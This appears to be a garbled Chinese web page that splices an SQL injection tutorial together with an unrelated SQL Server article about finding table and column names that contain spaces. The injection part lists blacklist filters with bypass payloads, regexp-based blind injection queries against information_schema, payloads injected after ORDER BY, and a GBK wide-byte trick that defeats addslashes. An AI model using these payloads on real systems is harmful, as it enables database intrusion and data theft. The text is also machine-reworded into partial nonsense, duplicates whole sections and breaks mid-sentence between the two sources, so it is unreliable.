会过滤的攻击代码 1 || (select user from users where user_id = 1) = ‘admin’
绕过方式 1 || (select user from users limit 1) = ‘admin’

按照关键字的黑名单

过滤关键字 and or
php代码 preg_match(‘/(and|or)/i’,$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

下边那种艺术你要求已经驾驭有些表和字段名(可以运用substring函数去一个一个收获information_schema.columns表中的数据)

过滤关键字 and or union
php代码 preg_match(‘/(and|or|union)/i’,$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=’admin’
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i’,$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’
绕过方式 1 && (select user from users limit 1) = ‘admin’
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i’,$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’
绕过方式 1 && (select user from users limit 1) = ‘admin’
过滤关键字 and, or, union, where, limit
php代码 preg_match(‘/(and|or|union|where|limit)/i’, $id)
会过滤的攻击代码 1 && (select user from users limit 1) = ‘admin’
绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin
过滤关键字 and, or, union, where, limit, group by
php代码 preg_match(‘/(and|or|union|where|limit|group by)/i’, $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = ‘admin’
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = ‘a’
过滤关键字 and, or, union, where, limit, group by, select, ‘
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’)/i’, $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/i’, $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/i’, $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
php代码 preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/i’, $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)
过滤关键字 and or union where
php代码 preg_match(‘/(and|or|union|where)/i’,$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = ‘admin’
绕过方式 1 || (select user from users limit 1) = ‘admin’

 

选用正则表明式举行盲注

大家都早已精通,在MYSQL 5+中 information_schema库中储存了具有的
库名,申明以及字段名音讯。故攻击情势如下:

1、判断第二个表名的首个字符是不是是a-z中的字符,其中blind_sqli是只要已知的库名。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2、判断第二个字符是还是不是是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3、确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4、表明式的更换如下

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE 

那时表达表名为news ,要表达是不是是该声明正则表明式为’^news$’,可是没那须求 间接判断 table_name = ‘news’
不就行了。

5、接下去猜解其他表了 只需求修改 limit 1,1 -> limit
2,1就可以连接下来的表展开盲注了。

行使正则表明式进行盲注

咱俩都早就知道,在MYSQL
5+中 information_schema库中存储了具备的
库名,表明以及字段名音信。故攻击形式如下:

1、判断第二个表名的首个字符是还是不是是a-z中的字符,其中blind_sqli是假设已知的库名。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2、判断第二个字符是或不是是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3、确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4、表明式的变换如下

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE 

那会儿表达表名为news
,要讲明是还是不是是该表明 正则表明式为’^news$’,不过没那需要 间接判断
table_name = ‘news’ 不就行了。

5、接下去猜解其他表了
只须求修改 limit 1,1 -> limit
2,1就足以连接下来的表进行盲注了。

 

order by后的流入

oder
by由于是排序语句,所以可以行使标准语句做判断,按照重返的排序结果分化判断标准的真假。

一般包括oder或者orderby的变量很可能是那种注入,在领略一个字段的时候能够运用如下形式注入:

土生土长链接: 依照vote字段排序。

找到投票数最大的票数num然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变动。

再有一种艺术不需要精通其余字段音讯,使用rand函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

以上三个会回来差其余排序,判断表名中率先个字符是还是不是低于128的话语如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

order by后的流入

oder
by由于是排序语句,所以能够选拔标准语句做判断,根据再次回到的排序结果不一样判断标准的真真假假。

相似包蕴oder或者orderby的变量很可能是那种注入,在知情一个字段的时候可以动用如下方式注入:

原有链接:
按照vote字段排序。

找到投票数最大的票数num然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是不是变动。

再有一种方式不需求掌握其余字段信息,使用rand函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

如上多少个会回去差距的排序,判断表名中第二个字符是不是低于128的言辞如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

那就是说为啥表名TEST_TABLE的四个字段里面,后面带有空格与与中间含有空格都识别不出去吧?这一个与数据库的LEN函数有关系,LEN函数重返指定字符串表明式的字符数,其中

宽字节流入

sql注入中的宽字节国内最常使用的gbk编码,那种方法根本是绕过addslashes等对特殊字符举行更换的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遭逢单引号自动转换参加\,此时变为%bf%5c%27,%bf%5c在gbk中成为一个宽字符“縗”。%bf那几个地点可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在众多地点都能够运用。

宽字节流入

sql注入中的宽字节国内最常使用的gbk编码,那种办法首如若绕过addslashes等对特殊字符进行转换的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遭逢单引号自动转换参预\,此时变为%bf%5c%27,%bf%5c在gbk中变成一个宽字符“縗”。%bf那么些地方可以是%81-%fe中间的其他字符。不止在sql注入中,宽字符注入在许多地点都得以运用。

不含有尾随空格。所以这几个脚本是力不从心排查表名或字段名前边带有空格的。倘使要排查那种景况,就须求选择上边SQL脚本(中间含有空格在此略过,这一个不符合命名规则):

 

 

 

SELECT
* FROM sys.columns WHERE NAME LIKE ‘ %’ 
–字段前边带有空格。

 

 

 

997755.com澳门葡京 3

 

 

实际到了这一步,还从未完,如若一个实例,里面有十多少个数据库,那么使用方面那么些本子,我要切换数据库,执行十四次,对于自身这种懒人来说,我觉着不可以忍受的。那么必须写

一个剧本,将有着数据库全体检查完。本来想用sys.sp_MSforeachdb,不过这么些里面存储进度有一部分限制,遂写了上面脚本。

 

 

 

DECLARE @db_name  NVARCHAR(32);

DECLARE @sql_text NVARCHAR(MAX);

 

DECLARE @db TABLE 

(

    database_name  NVARCHAR(64)

);

 

IF OBJECT_ID('tempdb.dbo.#TabColums') IS NOT NULL

 

    DROP TABLE dbo.#TabColums;

 

CREATE TABLE #TabColums

(

    object_id            INT ,

    column_id            INT

);

 

 

INSERT INTO @db

SELECT name FROM sys.databases WHERE state_desc='ONLINE' AND database_id !=2;

 

 

WHILE (1=1)

BEGIN

    SELECT TOP 1 @db_name = database_name FROM @db ORDER BY 1;

    

    IF @@ROWCOUNT = 0 RETURN;

 

    SET @sql_text =N'USE ' + @db_name +';

                     TRUNCATE TABLE #TabColums;

 

    

                    INSERT INTO #TabColums

                    SELECT  object_id ,

                            column_id

                    FROM    sys.columns

                    WHERE   DATALENGTH(name) != LEN(name) * 2;

                

                    SELECT  ''' + @db_name  + ''' AS DatabaseName,

                            TL.name AS TableName ,

                            C.name AS FieldName ,

                            T.name AS DataType ,

                            DATALENGTH(C.name) AS COLUMN_DATALENGTH ,

                            LEN(C.name) AS COLUMN_LENGTH ,

                            CASE WHEN C.max_length = -1 THEN ''Max''

                                    ELSE CAST(C.max_length AS VARCHAR)

                            END AS Max_Length ,

                            CASE WHEN C.is_nullable = 0 THEN ''×''

                                    ELSE ''√''

                            END AS Is_Nullable ,

                            C.is_identity ,

                            ISNULL(M.text, '''') AS DefaultValue ,

                            ISNULL(P.value, '''') AS FieldComment

                    FROM    sys.columns C

                            INNER JOIN sys.types T ON C.system_type_id = T.user_type_id

                            LEFT  JOIN dbo.syscomments M ON M.id = C.default_object_id

                            LEFT  JOIN sys.extended_properties P ON P.major_id = C.object_id

                                                                    AND C.column_id = P.minor_id

                            INNER JOIN sys.tables TL ON TL.object_id = C.object_id

                            INNER JOIN #TabColums TC ON C.object_id = TC.object_id

                                                        AND C.column_id = TC.column_id

                    ORDER BY C.column_id ASC;';

        PRINT(@sql_text);

 

        EXECUTE(@sql_text);

 

        DELETE FROM @db WHERE database_name=@db_name;

 

END

 

TRUNCATE TABLE #TabColums;

DROP TABLE #TabColums;

 

别的,对应表名而言,可以利用下边脚本。在此略过,不做过多介绍!

 

 

 

 

DECLARE @db_name  NVARCHAR(32);

DECLARE @sql_text NVARCHAR(MAX);

 

DECLARE @db TABLE 

(

    database_name  NVARCHAR(64)

);

 

 

 

INSERT INTO @db

SELECT name FROM sys.databases WHERE state_desc='ONLINE' AND database_id !=2;

 

 

WHILE (1=1)

BEGIN

    SELECT TOP 1 @db_name = database_name FROM @db ORDER BY 1;

    

    IF @@ROWCOUNT = 0 RETURN;

 

    SET @sql_text =N'USE ' + @db_name +';

 

                                    

                    SELECT ''' + @db_name  + '''  as database_name, name, 

                         DATALENGTH(name) as table_name_bytes,

                         LEN(name)          as table_name_character,

                         type_desc,create_date,modify_date 

                    FROM sys.tables

                    WHERE   DATALENGTH(name) != LEN(name) * 2;

                   ';

        PRINT(@sql_text);

 

        EXECUTE(@sql_text);

 

        DELETE FROM @db WHERE database_name=@db_name;

 

END

 

相关文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*
*
Website